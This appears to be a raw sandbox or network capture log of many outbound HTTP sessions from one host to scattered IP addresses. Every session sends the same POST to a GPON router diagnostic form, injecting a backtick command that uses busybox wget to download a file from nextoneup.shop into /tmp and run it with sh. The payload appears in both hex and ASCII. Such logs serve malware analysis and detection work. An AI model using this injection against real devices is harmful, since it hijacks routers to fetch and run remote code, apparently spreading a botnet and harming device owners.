Apr 14, 2024 04:01:48.360295057 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2179	192.168.2.13	49406	42.66.160.64	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360302925 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2180	192.168.2.13	55686	109.23.119.111	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360321045 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2181	192.168.2.13	55248	109.230.192.91	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360342026 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2182	192.168.2.13	45318	123.173.56.207	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360357046 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2183	192.168.2.13	40760	123.215.0.6	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360399961 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2184	192.168.2.13	56304	210.86.52.134	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360407114 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2185	192.168.2.13	43014	5.210.223.197	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360435009 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2186	192.168.2.13	37142	212.93.24.41	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360450983 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2187	192.168.2.13	52270	212.86.12.29	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360482931 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2188	192.168.2.13	60130	123.216.247.225	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360503912 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2189	192.168.2.13	51698	2.61.90.205	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360543013 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2190	192.168.2.13	40184	42.85.89.185	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360569000 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2191	192.168.2.13	40358	79.148.222.205	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360599041 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2192	192.168.2.13	41054	79.151.117.27	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360599995 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2193	192.168.2.13	38250	5.244.96.219	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360630035 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2194	192.168.2.13	54072	178.37.96.59	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360637903 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2195	192.168.2.13	36810	202.53.86.24	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360672951 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2196	192.168.2.13	52386	212.68.42.30	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360696077 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2197	192.168.2.13	39198	2.107.30.14	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360735893 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2198	192.168.2.13	58232	5.146.120.35	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360749960 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2199	192.168.2.13	39200	37.60.226.175	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360752106 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2200	192.168.2.13	57182	94.59.230.133	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360769033 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2201	192.168.2.13	59606	123.237.184.16	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360801935 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2202	192.168.2.13	48730	109.140.15.232	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360825062 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2203	192.168.2.13	50408	2.26.102.28	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.360858917 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

